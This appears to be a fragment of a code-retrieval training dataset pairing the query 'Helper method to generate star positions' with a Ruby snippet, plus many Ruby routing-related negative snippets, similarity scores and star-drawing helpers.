|#{parent_resource}|\\n #{parent_resource}.resources :#{table_name}\\n end\"\n end\n end\n end\n end\n end",
"def custom_routes; end",
"def generate_routes!\n Router.new(self).generate(@app)\n end",
"def routes_generate_options\n {\n :action => action_ref(:class => :controller),\n #TODO named root params\n :controller => controller_ref,\n :generate_all => nil,\n :method => link_to_methods,\n :use_route => nil,\n\n }\n end",
"def routes_map; end",
"def routes(&block); end",
"def routes(&block); end",
"def routes\n raise NotImplementedError\n end",
"def generate\n gen_app\n handle_public_index\n gen_file(\"config/routes.rb\", \"routes\")\n @app.goals.values.each_with_index { |goal, i| gen_goal(goal, i) }\n gen_misc\n self\n end",
"def routes\n ['Agriculture, environmental and animal care', 'Business administration', 'Catering and hospitality' \\\n 'Construction',\n 'Creative and design', 'Digital', 'Engineering and manufacturing', 'Hair and beauty', 'Health and science',\n 'Legal, finance and accounting', 'Protective services', 'Sales, marketing and procurement', 'Transport']\n end",
"def routes\n routes_method.call\n end",
"def external_routes; end",
"def routes=(_arg0); end",
"def routes=(_arg0); end",
"def routes=(_arg0); end",
"def route_index; end",
"def named_routes; end",
"def add_routes(routes)\n \n return if skip_method(__method__)\n \n write_artifact(\"config/routes.rb\") do |file|\n file.puts(\"Rails.application.routes.draw do\")\n file.puts(\"\n concern :common_routes do\n get :range, on: :collection\n # handles requests where relation is a query param (RestAngularBuilder)\n # e.g. users/1/related.json?relation=department\n get :related \n post :search\n end\")\n \n if namespace\n file.puts(\" namespace :#{namespace} do\")\n end\n routes.each do |route|\n namespace.nil? ? file.puts(route) : file.puts(indent(route))\n end\n if namespace\n file.puts(\" end\")\n end\n file.puts(\"end\")\n end\n\n end",
"def routes(context={})\n \n routes = [{:path => '/admin/media',\n :parent_path => '/admin',\n :regular_expression => /^\\/admin\\/media/,\n :title => 'Medios',\n :description => 'Gestión de medios',\n :fit => 1,\n :module => :media_gallery}, \n {:path => '/admin/media/config',\n :parent_path => '/admin/media',\n :regular_expression => /^\\/admin\\/media\\/config/,\n :title => 'Configuración',\n :description => 'Configuración medios',\n :fit => 1,\n :module => :media_gallery}, \n {:path => '/admin/media/album',\n :parent_path => '/admin/media',\n :regular_expression => /^\\/admin\\/media\\/album/,\n :title => 'Albums',\n :description => 'The albums admin tools to create and modify media albums',\n :fit => 1,\n :module => :media_gallery}, \n {:path => '/admin/media/photo/:album_name',\n :parent_path => '/admin/media/album',\n :regular_expression => /^\\/admin\\/media\\/photo\\/.+/,\n :title => 'Photos',\n :description => 'It manages the album\\'s photos. Used to upload and edit the album\\'s photos.',\n :fit => 1,\n :module => :media_gallery},\n {:path => '/gallery/:album_name',\n :regular_expression => /^\\/photo_gallery\\/.+/,\n :title => 'Photos',\n :description => 'It shows the album\\'s photos.',\n :fit => 1,\n :module => :media_gallery}]\n \n end",
"def route_for(options)\n ensure_that_routes_are_loaded\n ActionController::Routing::Routes.generate(options)\n end",
"def route\n #TODO\n end",
"def routes_normal\n return Array.new\n end",
"def routes\n [@name.downcase]\n end",
"def route_name; end",
"def route_name; end",
"def routes(context={})\n \n routes = [{:path => '/admin/system',\n :parent_path => '/admin',\n :regular_expression => /^\\/admin\\/system/, \n :title => 'Sistema', \n :description => 'Reads the log messages',\n :fit => 1,\n :module => :system },\n {:path => '/admin/logger',\n :parent_path => '/admin/system',\n :regular_expression => /^\\/admin\\/logger/, \n :title => 'Trazas', \n :description => 'Reads the log messages',\n :fit => 1,\n :module => :system },\n {:path => '/logger-config',\n :regular_expression => /^\\/admin\\/logger-config/, \n :title => 'Logger configuration', \n :description => 'Configure the logger',\n :fit => 1,\n :module => :system }, \n {:path => '/business-events',\n :regular_expression => /^\\/admin\\/business-events/, \n :title => 'Business events',\n :description => 'Manage the business events.',\n :fit => 1,\n :module => :system }]\n \n end",
"def build_route \n # #puts \"build Rails route for #{@model_name} in config/routes.rb\"\n \n template = File.read(template(\"rails/route.erb\"))\n text = Erubis::Eruby.new(template).evaluate( self )\n\n @@rails_routes << text\n end",
"def route_sets; end",
"def routes\n request :get, '/routes'\n end",
"def routes\n desc 'shows all routes'\n task routes: :environment do\n print_routes api_routes\n end\n end",
"def routes\n { :static => @route_ids, :dynamic => @dynamic }\n end",
"def route_for(name, *args); end",
"def rest_routes\n\t\t\t\t\t[\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :index },\n\t\t\t\t\t\t{ method: :POST, path: '/', action: :create },\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :show },\n\t\t\t\t\t\t{ method: :PUT, path: '/', action: :update },\n\t\t\t\t\t\t{ method: :DELETE, path: '/', action: :delete }\n\t\t\t\t\t]\n\t\t\t\tend",
"def routes(context={})\n \n routes = [{:path => '/admin/cms',\n :parent_path => '/admin',\n :regular_expression => /^\\/admin\\/cms/,\n :title => 'Gestor contenidos',\n :description => 'Gestiona los contenidos',\n :fit => 2,\n :module => :cms},\n {:path => '/admin/cms/content-types',\n :parent_path => '/admin/cms',\n \t :regular_expression => /^\\/admin\\/cms\\/content-types/, \n :title => 'Tipos de contenido' , \n :description => 'Manages the content types: creation and update of content types.',\n :fit => 3,\n :module => :cms},\n {:path => '/mctype/:type/:aspect',\n :parent_path => \"/mctypes\",\n :regular_expression => /^\\/mctype\\/.+\\/.+/, \n :title => 'Content type aspect configuration', \n :description => 'Edit the content type/aspect configuration',\n :fit => 1,\n :module => :cms}, \n {:path => '/admin/cms/contents',\n :parent_path => '/admin/cms',\n :regular_expression => /^\\/admin\\/cms\\/content/, \n :title => 'Contenidos', \n :description => 'Manages the contents',\n :fit => 2,\n :module => :cms},\n {:path => '/admin/cms/content/new/',\n :parent_path => '/admin/cms',\n :regular_expression => /^\\/admin\\/cms\\/content\\/new/, \n :title => 'Crear contenido', \n :description => 'Create a new content: Choose the content type.',\n :fit => 2,\n :module => :cms},\n {:path => '/admin/cms/content/new/:content_type',\n :parent_path => \"/admin/cms/content/new/\",\n :regular_expression => /^\\/admin\\/cms\\/content\\/new\\/.+/, \n :title => 'Nuevo', \n :description => 'Create a new content: Complete data.',\n :fit => 3,\n :module => :cms}, \n {:path => '/admin/cms/content/edit/:content_id',\n :parent_path => '/admin/cms/contents',\n :regular_expression => /^\\/admin\\/cms\\/content\\/edit\\/.+/, \n :title => 'Editar contenido', \n :description => 'Editar contenido',\n :fit => 1,\n :module => :cms}, \n {:path => '/admin/cms/taxonomy',\n :parent_path => '/admin/cms',\n :regular_expression => /^\\/admin\\/cms\\/taxonomy/, \n :title => 'Taxonomías', \n :description => 'Manages the taxonomies: creation and update of taxonomies',\n :fit => 1,\n :module => :cms },\n {:path => '/admin/cms/terms/:taxonomy_id',\n :parent_path => \"/admin/cms/taxonomy\",\n :regular_expression => /^\\/admin\\/cms\\/terms\\/.+/, \n :title => 'Term',\n :description => 'Manage the terms of a taxonomy.',\n :fit => 1,\n :module => :cms },\n {:path => '/admin/cms/templates',\n :parent_path => '/admin/cms',\n :regular_expression => /^\\/admin\\/cms\\/templates/, \n :title => 'Plantillas', \n :description => 'Manages templates: creation and update of templates',\n :fit => 1,\n :module => :cms }, \n {:path => '/admin/cms/comments',\n :parent_path => '/admin/cms',\n :regular_expression => /^\\/admin\\/cms\\/comments/, \n :title => 'Comentarios', \n :description => 'Manages comments: creation and update of templates',\n :fit => 1,\n :module => :cms }, \n {:path => '/admin/cms/blocks',\n :parent_path => '/admin/cms',\n :regular_expression => /^\\/admin\\/cms\\/blocks/, \n :title => 'Bloques', \n :description => 'Manage the blocks. It allows to discover and configure modules blocks',\n :fit => 1,\n :module => :cms},\n {:path => '/admin/cms/views',\n :parent_path => '/admin/cms',\n :regular_expression => /^\\/admin\\/cms\\/views/, \n :title => 'Vistas', \n :fit => 1,\n :description => 'Manage the views: creation and update of views',\n :module => :cms},\n {:path => '/content/:page',\n :regular_expression => /^\\/content\\/.+/,\n :title => 'Content',\n :description => 'Shows a content',\n :fit => 1,\n :module => :cms},\n {:path => '/contents/category/:term_id',\n :regular_expression => /^\\/contents\\/category\\/.+/,\n :title => 'Contents by category',\n :description => 'Shows all the contents tagged with the category',\n :fit => 1,\n :module => :cms},\n {:path => '/admin/cms/menu-management',\n :parent_path => '/admin/cms',\n :regular_expression => /^\\/admin\\/cms\\/menu-management/, \n :title => 'Menu', \n :description => 'Manages the menus: creation and update of menus',\n :fit => 1,\n :module => :cms },\n {:path => '/admin/cms/menu-item-management/:menu_name',\n :parent_path => '/admin/cms/menu-management',\n :regular_expression => /^\\/admin\\/cms\\/menu-item-management\\/.+/, \n :title => 'Elemento de menú',\n :description => 'Manage the items of a menu.',\n :fit => 1,\n :module => :cms },\n {:path => '/admin/cms/translate/content/:content_id',\n :parent_path => '/admin/cms/contents',\n :regular_expression => /^\\/admin\\/cms\\/translate\\/content\\/.+/, \n :title => 'Traducir contenido', \n :description => 'Translate a content',\n :fit => 1,\n :module => :translation },\n {:path => '/admin/cms/translate/menuitem/:menuitem_id',\n :parent_path => '/admin/cms/menu-management',\n :regular_expression => /^\\/admin\\/cms\\/translate\\/menuitem\\/.+/, \n :title => 'Traducir elemento de menu', \n :description => 'Translate a menu item',\n :fit => 1,\n :module => :translation }, \n {:path => '/admin/cms/translate/term/:term_id',\n :parent_path => '/admin/cms/taxonomy',\n :regular_expression => /^\\/admin\\/cms\\/translate\\/term\\/.+/, \n :title => 'Traducir término',\n :description => 'Translate a term.',\n :fit => 1,\n :module => :translation },\n {:path => '/admin/cms/translate/template/:template_id',\n :parent_path => '/admin/cms/templates',\n :regular_expression => /^\\/admin\\/cms\\/translate\\/template\\/.+/, \n :title => 'Traducir plantilla',\n :description => 'Translate a term.',\n :fit => 1,\n :module => :translation } \n ]\n \n end",
"def route14\n end",
"def get_routes\n raise \"Method not implemented\"\n end",
"def routes(context={})\n \n routes = [{:path => '/admin/aspects',\n \t :regular_expression => /^\\/admin\\/config\\/aspects/, \n :title => 'Aspects' , \n :description => 'Configure the aspects.',\n :fit => 1,\n :module => :aspects},\n {:path => '/admin/aspect/:model_name/:aspect',\n :parent_path => \"/model-aspects\",\n :regular_expression => /^\\/admin\\/config\\/aspect\\/.+\\/.+/, \n :title => 'Model aspect configuration', \n :description => 'Edit the model/aspect configuration',\n :fit => 1,\n :module => :aspects\n }]\n \n end",
"def named_routes=(_arg0); end",
"def routes(context={})\n \n routes = [{:path => '/admin/worker-jobs',\n :regular_expression => /^\\/admin\\/worker-jobs/, \n :title => 'Delayed jobs', \n :description => 'Query delayed jobs',\n :fit => 1,\n :module => :system }]\n \n end",
"def routes\n # /home is temporary\n ['login', 'logout', 'home', 'newuser', 'edituser']\n end",
"def gather_endpoints_to_check\n Rails.application.routes.routes.map do |route|\n verb = route.verb.downcase.to_sym\n example_path = route.path.spec\n .to_s.gsub('(.:format)', '')\n .gsub(/:([^\\/]+)/,'SOME_PLACEHOLDER_PARAM')\n .gsub('*path', 'SOME_PLACEHOLDER_PATH')\n .gsub('*filename','SOME_PLACEHOLDER_FILENAME')\n next unless verb.present?\n [verb, example_path]\n end.compact\n end",
"def generate_routes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tputs \"Agragando ruta: \"+item[\"codigo_linea\"]\n\t\t\tcsv << [item[\"codigo_linea\"], 0, 'FFFFFF']\n\t\tend\n\tend\nend",
"def route_for routename\n case routename\n when 'Start'\n \"index\"\n when 'Login'\n \"login\"\n when 'Mitarbeiterübersicht'\n \"employees\"\n when 'Neuer Mitarbeiter'\n \"employees.new\"\n when 'FAQ'\n \"faq\"\n else\n raise \"No route defined for route named '#{routename}'.\"\n end\nend",
"def generate_routes_file\n home_directory = File.expand_path(\".acts_as_qa\", Rails.root)\n unless Dir.exists?(home_directory)\n status = Dir.mkdir('.acts_as_qa', 0777)\n status == 0 ? puts(\"Home Directory created\") : puts(\"Home Directory could not be created.\")\n else\n puts \"Home directory exists.\" \n end \n filename = File.expand_path('routes.txt', \"#{Rails.root}/.acts_as_qa\")\n status=system(\"rake routes > #{filename}\") ? puts('Routes Loaded') : puts(\"Something went wrong\")\n end",
"def url_for(options)\n ActionController::Routing::Routes.reload if ActionController::Routing::Routes.empty?\n ActionController::Routing::Routes.generate(options, {})\n end",
"def finalize_artifacts\n \n return if skip_method(__method__)\n \n puts \"finalize Rails routes in config/routes.rb\"\n \n add_routes(@@rails_routes)\n \n # create the navigation menu\n finalize_menu\n \n end",
"def named_route; end",
"def generate(params = {}, fallback = {})\n raise \"Cannot generate regexp Routes\" if regexp?\n query_params = params.dup if params.is_a? Hash\n url = @segments.map do |segment|\n value =\n if segment.is_a? Symbol\n if params.is_a? Hash\n params[segment] || fallback[segment]\n query_params.delete segment\n else\n if segment == :id && params.respond_to?(:to_param) \n params.to_param\n elsif segment == :id && params.is_a?(Fixnum)\n params\n elsif params.respond_to?(segment)\n params.send(segment)\n else\n fallback[segment]\n end\n end\n elsif segment.respond_to? :to_s\n segment\n else\n raise \"Segment type '#{segment.class}' can't be converted to a string\"\n end\n (value.respond_to?(:to_param) ? value.to_param : value).to_s\n end.join\n if query_params && !query_params.empty?\n url += \"?\" + Merb::Request.params_to_query_string(query_params)\n end\n url\n end",
"def route\n [namespace, path].reject(&:blank?).join('/').prepend('/')\n end",
"def all_routes\n matching_routes\n end",
"def routes\n app_obj.routes\n end",
"def _roda_main_route(_)\n end",
"def api \n api = { }\n \n param_regex = Regexp.new '\\(\\[\\^\\\\\\\\\\/\\?\\#\\]\\+\\)'\n Nagira.routes.keys.each do |method|\n api[method] ||= []\n Nagira.routes[method].each do |r|\n path = r[0].inspect[3..-3]\n r[1].each do |parm|\n path.sub!(param_regex,\":#{parm}\")\n end\n path.gsub!('\\\\','')\n api[method] << path unless path.empty? \n end\n end\n api\n end",
"def route() request.route end",
"def init_routes\n puts \"Adding the caboose store routes...\"\n \n filename = File.join(@app_path,'config','routes.rb')\n return if !File.exists?(filename)\n return if !@force\n \n str = \"\" \n str << \"\\t# Catch everything with caboose\\n\" \n str << \"\\tmount CabooseStore::Engine => '/'\\n\"\n \n file = File.open(filename, 'rb')\n contents = file.read\n file.close \n if (contents.index(str).nil?)\n arr = contents.split('end', -1)\n str2 = arr[0] + \"\\n\" + str + \"\\nend\" + arr[1]\n File.open(filename, 'w') {|file| file.write(str2) }\n end \n end",
"def add_routes(&block)\n @router ||= Routes.new\n @router.define(&block)\n url.router = @router\n end",
"def routes\n context[:routes]\n end",
"def add_gateway_routes\n # The routes required a Gateway Resource to contain them.\n # TODO: Support more routes. Right now outputing all routes in 1 template will hit the 60 routes limit.\n # Will have to either output them as a joined string or break this up to multiple templates.\n # http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cloudformation-limits.html\n # Outputs: Maximum number of outputs that you can declare in your AWS CloudFormation template. 60 outputs\n # Output name: Maximum size of an output name. 255 characters.\n #\n # Note we must use .all_paths, not .routes here because we need to\n # build the parent ApiGateway::Resource nodes also\n Jets::Router.all_paths.each do |path|\n homepage = path == ''\n next if homepage # handled by RootResourceId output already\n\n resource = Jets::Resource::ApiGateway::Resource.new(path, internal: true)\n add_resource(resource)\n add_outputs(resource.outputs)\n end\n end",
"def restaurants_resources_routes\n # TODO: Implement the 7 CRUD conventional `routes` that a `resources :restaurants`\n # would generate for you.\n\n # You can use the same DSL (Domain Specific Language) that you use\n # in your rails app `config/routes.rb` file\n\n return RoutesSet.draw do\n # get '/some_route', to: 'some_controller#some_action'\n\n # Add more routes here\n # ...\n end\nend",
"def my_routes\n my_routes = []\n exceptions = %w(Login Signin)\n self.class.routes['GET'].each do |r|\n route = r.first.to_s.gsub(/\\W+|mix/,'').capitalize\n my_routes << route unless exceptions.include?(route)\n end\n return my_routes\n end",
"def common_routes\n [\n [ search_path, 'Search Talks', 'talks' ],\n [ helps_path, 'Help' , 'helps' ], # TBD: replace with help search\n [ credits_path, 'Credits' , 'credits' ],\n [ static_pages_about_path, 'About' , 'static_pages' ],\n [ static_pages_contact_path, 'Contact' , 'static_pages' ],\n [ static_pages_privacy_path, 'Privacy' , 'static_pages' ],\n [ static_pages_sitemap_path, 'Site Map', 'static_pages' ]\n ]\n end",
"def resource_routes\n Hash(\n self: api_v1_boot_path,\n auth: api_v1_auth_path,\n users: api_v1_users_path,\n charges: api_v1_charges_path(':user_id'),\n purchases: api_v1_purchases_path(':user_id'),\n credits: api_v1_credits_path(':user_id'),\n comps: api_v1_comps_path(':user_id')\n )\n end",
"def test_routes\n assert_routing(\n { :path => \"/diary\", :method => :get },\n { :controller => \"diary_entry\", :action => \"list\" }\n )\n assert_routing(\n { :path => \"/diary/language\", :method => :get },\n { :controller => \"diary_entry\", :action => \"list\", :language => \"language\" }\n )\n assert_routing(\n { :path => \"/user/username/diary\", :method => :get },\n { :controller => \"diary_entry\", :action => \"list\", :display_name => \"username\" }\n )\n assert_routing(\n { :path => \"/diary/friends\", :method => :get },\n { :controller => \"diary_entry\", :action => \"list\", :friends => true }\n )\n assert_routing(\n { :path => \"/diary/nearby\", :method => :get },\n { :controller => \"diary_entry\", :action => \"list\", :nearby => true }\n )\n\n assert_routing(\n { :path => \"/diary/rss\", :method => :get },\n { :controller => \"diary_entry\", :action => \"rss\", :format => :rss }\n )\n assert_routing(\n { :path => \"/diary/language/rss\", :method => :get },\n { :controller => \"diary_entry\", :action => \"rss\", :language => \"language\", :format => :rss }\n )\n assert_routing(\n { :path => \"/user/username/diary/rss\", :method => :get },\n { :controller => \"diary_entry\", :action => \"rss\", :display_name => \"username\", :format => :rss }\n )\n\n assert_routing(\n { :path => \"/user/username/diary/comments\", :method => :get },\n { :controller => \"diary_entry\", :action => \"comments\", :display_name => \"username\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/comments/1\", :method => :get },\n { :controller => \"diary_entry\", :action => \"comments\", :display_name => \"username\", :page => \"1\" }\n )\n\n assert_routing(\n { :path => \"/diary/new\", :method => :get },\n { :controller => \"diary_entry\", :action => \"new\" }\n )\n assert_routing(\n { :path => \"/diary/new\", :method => :post },\n { :controller => \"diary_entry\", :action => \"new\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/1\", :method => :get },\n { :controller => \"diary_entry\", :action => \"view\", :display_name => \"username\", :id => \"1\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/1/edit\", :method => :get },\n { :controller => \"diary_entry\", :action => \"edit\", :display_name => \"username\", :id => \"1\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/1/edit\", :method => :post },\n { :controller => \"diary_entry\", :action => \"edit\", :display_name => \"username\", :id => \"1\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/1/newcomment\", :method => :post },\n { :controller => \"diary_entry\", :action => \"comment\", :display_name => \"username\", :id => \"1\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/1/hide\", :method => :post },\n { :controller => \"diary_entry\", :action => \"hide\", :display_name => \"username\", :id => \"1\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/1/hidecomment/2\", :method => :post },\n { :controller => \"diary_entry\", :action => \"hidecomment\", :display_name => \"username\", :id => \"1\", :comment => \"2\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/1/subscribe\", :method => :post },\n { :controller => \"diary_entry\", :action => \"subscribe\", :display_name => \"username\", :id => \"1\" }\n )\n assert_routing(\n { :path => \"/user/username/diary/1/unsubscribe\", :method => :post },\n { :controller => \"diary_entry\", :action => \"unsubscribe\", :display_name => \"username\", :id => \"1\" }\n )\n end",
"def route_path(route_name)\n \"#{prefix}/#{public_send(:\"#{route_name}_route\")}\"\n end",
"def set_route_information\n @routes = {\n :root_url => root_url,\n :root_path => root_path,\n :customers_delete_path => customers_delete_path, \n :customers_all_path => customers_all_path,\n :customers_all_url => customers_all_url,\n :customers_creation_form_url => customers_creationform_url,\n :customers_creation_form_path => customers_creationform_path,\n :customers_edit_form_path => customers_editform_path,\n :customers_edit_form_url => customers_editform_url,\n :contacts_customer_contacts_path => contacts_customer_contacts_path,\n :contacts_customer_contacts_url => contacts_customer_contacts_url,\n :contacts_delete_path => contacts_delete_path,\n :contacts_delete_url => contacts_delete_url,\n :contacts_createForm_path => contacts_createForm_path,\n :contacts_createForm_url => contacts_createForm_url,\n :contacts_update_path => contacts_update_path,\n :contacts_update_url => contacts_update_url,\n :contacts_editform_path => contacts_editform_path,\n :contacts_editform_url => contacts_editform_url\n }\n end",
"def print_routes \n \n # Create a new hash\n h = Hash.new()\n\n # Use Sinatra advanced routes\n # to build out a hash based on the routes\n Sinatra::Application.each_route do |route|\n unless route.path.eql? \"/\" or route.path.eql? \"/*\"\n h[route.path.split(\"/\")[1]] = request.base_url + route.path \n end\n end\n\n # Return that badboy\n return h\n\nend",
"def routes(routes_def)\n RouterDefinition.new(routes_def)\n end",
"def short_route\n @short_route ||= begin\n sr = \"#{objet}\" # sinon, passage par référence avec '<<' ci-dessous\n method && sr << \"/#{method}\"\n sr\n end\n end",
"def get_routes(params)\n graph_data = create_data(params)\n if graph_data.is_a?(Array)\n graph_data.each do |data|\n add_vertex(data[0][0], data[0][1])\n end\n path_array = shortest_path(params[:source], params[:destination])\n if path_array.is_a?(Array)\n get_path_description(path_array, params)\n else\n path_array\n end\n else\n graph_data\n end\n end",
"def routes\n @routes ||= Engine.routes.url_helpers\n end",
"def routes\n @routes ||= []\n end",
"def routes\n @routes ||= []\n end",
"def each\n @routes.each do |rt|\n yield rt\n end\n self\n end",
"def routes\n @routes ||= []\n end",
"def inject_routes\n routing_code = \"Hydra::BatchEdit.add_routes(self)\"\n sentinel = /HydraHead.add_routes\\(self\\)/\n inject_into_file 'config/routes.rb', \"\\n #{routing_code}\\n\", { :after => sentinel, :verbose => false }\n\n routing_code = \"\\n # This must be the very last route in the file because it has a catch all route for 404 errors.\n # This behavior seems to show up only in production mode.\n mount Sufia::Engine => '/'\\n\"\n sentinel = /devise_for :users/\n inject_into_file 'config/routes.rb', routing_code, { :after => sentinel, :verbose => false }\n \n end",
"def show_routes\n seen = []\n unless Merb::Router.named_routes.empty?\n puts \"==== Named routes\"\n Merb::Router.named_routes.each do |name,route|\n # something weird happens when you combine sprintf and irb\n puts \"Helper : #{name}\"\n meth = $1.upcase if route.conditions[:method].to_s =~ /(get|post|put|delete)/\n puts \"HTTP method: #{meth || 'GET'}\"\n puts \"Route : #{route}\"\n puts \"Params : #{route.params.inspect}\"\n puts\n seen << route\n end\n end\n puts \"==== Anonymous routes\"\n (Merb::Router.routes - seen).each do |route|\n meth = $1.upcase if route.conditions[:method].to_s =~ /(get|post|put|delete)/\n puts \"HTTP method: #{meth || 'GET'}\"\n puts \"Route : #{route}\"\n puts \"Params : #{route.params.inspect}\"\n puts\n end\n nil\n end",
"def create_route(method, params)\n fail \"No route defined for #{method} on #{name}\" unless routes[method]\n\n url_params = params.dup\n rest_path = routes[method].gsub(/:(\\w+)/) do |m|\n fail SurveyGizmo::URLError, \"Missing RESTful parameters in request: `#{m}`\" unless url_params[$1.to_sym]\n url_params.delete($1.to_sym)\n end\n\n SurveyGizmo.configuration.api_version + rest_path + filters_to_query_string(url_params)\n end",
"def route_index\n route via: :get, path: '', member: false\n end",
"def routes\r\n RoutesController.instance\r\n end",
"def make_path_with_params(args, params)\n names, params_array = args.partition{ |arg| arg.is_a?(Symbol) }\n name = names[0, 2].join(\" \").to_sym\n compiled_router.path(name, *(params_array << params))\n rescue PathRouter::InvalidRouteException\n raise Padrino::Routing::UnrecognizedException, \"Route mapping for url(#{name.inspect}) could not be found\"\n end",
"def routes\n Resources::Routes.new(self)\n end",
"def parse_routes!\n allowed_routes.each do |route|\n if (endpoint = endpoints.find_from_route(route))\n endpoint.merge_http_methods!(route[:http_methods])\n else\n controller = controllers.find_or_create_from_route(route)\n endpoint = endpoints.create_from_route(route, controller)\n\n controller.add_endpoint(endpoint)\n end\n end\n end",
"def setup_route\n route \"resources :tooltips do\\n\" +\n \" collection do\\n\" +\n \" get 'tooltip_content'\\n\" +\n \" end\\n\" +\n \" end\"\n end",
"def routes_path(source = nil)\n path = '/the_one/routes'\n path += '?' + URI.encode_www_form(source: source, passphrase: Leo.passphrase) if source\n path\n end",
"def routes\n cached_routes\n end",
"def bus_routes\n return render 'bus_routes', layout: 'bus_routes'\n end"
] |
[
"0.7874971",
"0.7874971",
"0.7874971",
"0.7874971",
"0.7874971",
"0.7874971",
"0.7874971",
"0.7874971",
"0.7874971",
"0.7874971",
"0.7874971",
"0.759426",
"0.75574017",
"0.75574017",
"0.7539704",
"0.74770176",
"0.7463737",
"0.7453789",
"0.72882944",
"0.71956944",
"0.7190781",
"0.7190781",
"0.7154183",
"0.71412283",
"0.710187",
"0.7008042",
"0.6967418",
"0.6925532",
"0.6925532",
"0.6925532",
"0.6922947",
"0.6921059",
"0.6889999",
"0.68786633",
"0.6868742",
"0.6850086",
"0.6824628",
"0.68193483",
"0.678524",
"0.678524",
"0.6776652",
"0.67482924",
"0.6746391",
"0.6741615",
"0.674073",
"0.6738352",
"0.6721134",
"0.66547394",
"0.6616806",
"0.6586273",
"0.6582275",
"0.6562979",
"0.6542851",
"0.648759",
"0.64792824",
"0.6475999",
"0.64525694",
"0.6436014",
"0.6426595",
"0.63961524",
"0.6384888",
"0.6373957",
"0.637274",
"0.6364638",
"0.6346949",
"0.6345072",
"0.6322299",
"0.6321593",
"0.63196105",
"0.6307971",
"0.62886685",
"0.62845117",
"0.627928",
"0.62627095",
"0.6261981",
"0.6258384",
"0.6256005",
"0.6252432",
"0.62437433",
"0.62425804",
"0.6239697",
"0.62385845",
"0.6236498",
"0.6225201",
"0.621881",
"0.62171483",
"0.62171483",
"0.6215822",
"0.62000173",
"0.6196762",
"0.6191999",
"0.6191676",
"0.6190709",
"0.61828536",
"0.6180049",
"0.61682403",
"0.6162369",
"0.6158793",
"0.6143623",
"0.6136304",
"0.6135993"
] |
0.0
|
-1
|
Helper method to generate star positions
|
def gen_star_positions(packages, max_dist_map)
size = Math.sqrt(packages.length).ceil
cols = Array.new(size, 0)
rows = Array.new(size, 0)
for i in 0..(size-1)
for j in 0..(size-1)
temp_package = packages.values[size*i+j]
unless(temp_package.nil?)
cols[j] = (cols[j] < temp_package["orbit_radius"] * 2) ? temp_package["orbit_radius"] * 2 : cols[j]
rows[i] = (rows[i] < temp_package["orbit_radius"] * 2) ? temp_package["orbit_radius"] * 2 : rows[i]
end
end
end
text = ""
for i in 0..(size-1)
for j in 0..(size-1)
temp_package = packages.values[size*i+j]
unless(temp_package.nil?)
sum_x = (j > 0)? cols[0..(j-1)].inject{|sum, x| sum + x} : 0
sum_y = (i > 0)? rows[0..(i-1)].inject{|sum, y| sum + y} : 0
text += "#{temp_package["indexed_name"]}.mesh.position.x = #{sum_x + (cols[j]/2.0)}\n"
text += "#{temp_package["indexed_name"]}.mesh.position.y = #{sum_y + (rows[i]/2.0)}\n"
end
end
end
max_dist_map[:x] = cols.inject{|sum, x| sum + x}
max_dist_map[:y] = rows.inject{|sum, y| sum + y}
return text
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def star(num)\n stars = ['*','*','*']\n center = (num / 2) - 1\n lines = []\n\n # create array with mirrored lines using unshift and push\n 0.upto(center) do |i|\n spaces = ' ' * i\n offset = ' ' * (center - i)\n lines.unshift(offset + stars.join(spaces))\n lines.push(offset + stars.join(spaces))\n end\n\n # insert middle line of stars at middle of array\n lines.insert( num/2, ('*' * num).split.join)\nend",
"def star(n)\n num_spaces = (n - 2) / 2\n arr = []\n until num_spaces < 0\n arr.push \"*#{' ' * num_spaces}*#{' ' * num_spaces}*\"\n num_spaces -= 1\n end \n arr += arr.reverse\n arr.insert(n / 2, \"*\" * n)\n arr.each { |x| puts x.center(n) }\nend",
"def draw_star(radius)\n points = 5\n triangle_base = radius * Math.tan(Math::PI / points)\n triangle = [\n [0, radius],\n [triangle_base / 2, 0],\n [-triangle_base / 2, 0],\n [0, radius]\n ]\n\n result = []\n (0...points).each do |i|\n result[i] = rotate(triangle, i * (2 * Math::PI / points))\n end\n\n result\nend",
"def star(n)\n x = (n - 3)/2\n loop do\n puts \"*#{' ' * x}*#{' ' * x}*\".center(n)\n x -= 1\n break if x < 0\n end\n puts \"#{'*' * n}\"\n y = 0\n loop do\n puts \"*#{' ' * y}*#{' ' * y}*\".center(n)\n y += 1\n break if y > (n - 3) / 2\n end\nend",
"def update\n @stars.each_with_index do |star, index|\n if star.sx == 0\n star.set_position(rand(320), rand(240))\n end\n star.update if (index * 10) <= @counter\n end\n @counter += 1\n end",
"def star (points, length)\n raise \"The star must have an odd number of points\" if points % 2 == 0\n points.times do\n line length\n turn (720.0/points).degrees\n end\n end",
"def build_stars(stars)\n i = 0\n j = 0\n star_line = ''\n open_star = 5 - stars\n while i < stars\n star_line += '<img src=\"app/assets/images/star-full.png\">'\n i+=1\n end\n while j < open_star\n star_line += '<img src=\"app/assets/images/star-gray.png\">'\n j+=1\n end\n return star_line.html_safe\n end",
"def star(n)\r\n padding_number = 0\r\n space_number = (n - 3) / 2\r\n \r\n 1.upto(n) do |row_number|\r\n central_row_number = (n / 2) + 1\r\n left_padding = ' ' * padding_number\r\n spaces = ' ' * space_number\r\n row = left_padding + (('*' + spaces) * 2) + '*'\r\n \r\n if row_number < central_row_number\r\n puts row\r\n next if row_number == central_row_number - 1\r\n padding_number += 1 \r\n space_number -= 1\r\n elsif row_number == central_row_number\r\n puts '*' * n\r\n else\r\n puts row\r\n padding_number -= 1\r\n space_number += 1\r\n end\r\n end\r\nend",
"def set_rows(grid, distance)\n number_of_stars = grid - (distance * 2)\n stars = '*' * number_of_stars\n puts stars.center(grid)\nend",
